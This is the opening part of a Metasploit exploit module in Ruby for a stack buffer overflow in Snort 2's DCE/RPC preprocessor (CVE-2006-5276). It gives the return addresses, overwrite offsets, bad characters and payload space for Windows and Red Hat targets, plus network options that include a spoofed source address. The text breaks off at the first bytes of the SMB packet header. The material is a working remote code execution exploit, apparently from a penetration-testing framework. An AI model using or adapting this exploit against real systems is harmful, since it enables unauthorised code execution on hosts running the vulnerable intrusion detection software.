class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Capture
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Snort 2 DCE/RPC preprocessor Buffer Overflow',
'Description' => %q{
This module allows remote attackers to execute arbitrary code by exploiting the
Snort service via crafted SMB traffic. The vulnerability is due to a boundary
error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
which may result a stack-based buffer overflow with a specially crafted packet
sent on a network that is monitored by Snort.
Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.
Any host on the Snort network may be used as the remote host. The remote host does not
need to be running the SMB service for the exploit to be successful.
},
'Author' =>
[
'Neel Mehta', #Original discovery (IBM X-Force)
'Trirat Puttaraksa', #POC
'Carsten Maartmann-Moe <carsten[at]carmaa.com>', #Metasploit win
'0a29406d9794e4f9b30b3c5d6702c708' #Metasploit linux
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '32094' ],
[ 'CVE', '2006-5276' ],
[ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'],
[ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'],
[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
[
'Windows Universal',
{
'Platform' => 'win',
'Ret' => 0x00407c01, # JMP ESP snort.exe
'Offset' => 289, # The number of bytes before overwrite
'Padding' => 0
}
],
[
'Redhat 8',
{
'Platform' => 'linux',
'Ret' => 0xbffff110,
'Offset' => 317,
'Padding' => 28
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Feb 19 2007',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(139),
OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]),
OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])
], self.class)
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
end
# SMB packet borrowed from http://exploit-db.com/exploits/3362
# NetBIOS Session Service, value is the number of bytes in the TCP segment,
# must be greater than the total size of the payload. Statically set.
header = "\x00\x00\xde\xad"
